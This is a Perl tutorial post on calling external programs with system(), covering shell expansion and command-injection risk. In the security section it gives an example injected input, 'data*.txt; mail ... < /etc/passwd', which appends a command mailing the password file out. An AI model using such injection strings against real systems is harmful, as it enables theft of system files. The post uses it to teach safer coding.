Running external programs from Perl with system
In many cases Perl is used as a wrapper around other programs. This means that we run those other programs from our Perl program.
For example we use Perl to collect the parameters needed by that program to make it easier for us to create the correct command line to run the other program.
In other cases we might want to capture the output of another command line program and then make some decisions based on that output.
Perl provides us with many different solutions. We'll see some of them here.
Probably the most simple one is called system. In its most basic form in accepts a string that contains exactly what you would write on the command line in order to invoke the external command.
For example on Unix/Linux machines there is a command called "adduser", that can create a user account. You could invoke it like this:
/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo
So if I'd like to run this from a perl script I can write the following:
system('/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo');
This will run the adduser command. Any output or error the adduser generates will end up on your screen.
You can also build up the command you'd like to execute. The following two examples give you the same results.
my $cmd = '/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo'; system($cmd);
my $cmd = '/usr/sbin/adduser'; $cmd .= ' --home /opt/bfoo'; $cmd .= ' --gecos "Foo Bar" bfoo'; system($cmd);
system with multiple arguments
The system function can receive more than one arguments. The above example could have been written like this:
my @cmd = ('/usr/sbin/adduser'); push @cmd, '--home'; push @cmd, '/opt/bfoo'; push @cmd, '--gecos', push @cmd, 'Foo Bar', push @cmd, 'bfoo'; system(@cmd);
In this case all the above solutions provide the same result, but it is not always the case.
Let's say you have a program called checkfiles that can check the files listed on its command line. You could call it checkfiles data1.txt data2.txt or checkfiles data*.txt to check all the files that has a name staring with the 4 letters 'data', followed by some other characters and having the 'txt' extension. This second way of running the program would work on Unix/Linux systems where the shell expands the 'data*.txt' to all the files that match the description. When the program checkfiles is executed it already sees the list of files: checkfiles data1.txt data2.txt data42.txt database.txt. Not so of Windows, where the command line does not do this expansion. On Windows the program will get 'data*.txt' as input.
What has it to do with your Perl script? You ask.
On Windows it won't matter. On Unix/Linux however, if you run the 'checkfiles' program from within a Perl script as one string: system("checkfiles data*.txt"), then Perl will pass that string to the shell. The shell will do its expansion and the 'checkfiles' program will see the list of file. On the other hand, if you pass the command and parameters as separate strings: system("checkfiles", "data*.txt") then perl will run the 'checkfiles' program directly and pass the single parameter 'data*.txt' to it without any expansion.
As you can see, passing the whole command as a single string has its advantages.
This advantage comes with a price though.
The security risk
Calling system with a single parameter and passing the whole command that way, can be a security hazard if the input can come from untrusted sources. For example directly from a web form. Or from the log file created by a web server.
Let's say you accept the parameter of checkfiles from an untrusted source:
my $param = get_from_a_web_form(); my $cmd = "checkfiles $param"; system($cmd);
If the user types in 'data*.txt' then you are ok. The $cmd will contain checkfile data*.txt.
On the other hand if the user passes in some other, more 'clever' parameters then you might be in trouble. For example if the user types in data*.txt; mail email@example.com < /etc/passwd. Then the command perl executes will look like this: checkfile data*.txt; mail firstname.lastname@example.org < /etc/passwd.
The shell will first execute the 'checkfile data*.txt' command as you intended, but then it will go on, and also execute the 'mail...' command. That will send your password file to my darker side.
If your Perl script was using system with multiple parameters, this security risk is avoided. If this is the Perl code:
my $param = get_from_a_web_form(); my @cmd = ("checkfiles", $param); system(@cmd);
And the user types in data*.txt; mail email@example.com < /etc/passwd. the Perl script will run the 'checkfiles' program and pass a single argument to it: data*.txt; mail firstname.lastname@example.org < /etc/passwd. No shell expansion but we also avoided the dangers of the shell. The 'checkfiles' program will probably complain that it cannot find a file called data*.txt; mail email@example.com < /etc/passwd, but at least our passwords will be safe.
Conclusion and further reading
It is more convenient to make one string out of the command and pass that to system, but if the input comes from an untrusted source, this can easily become an attack vector. The risk can be reduced by first checking the input against a white list of acceptable input characters. You can force yourself to think about these issues by enabling the taint mode using the -T flag on the sh-bang line.
You can read more in the documentation of system.
Published on 2013-06-03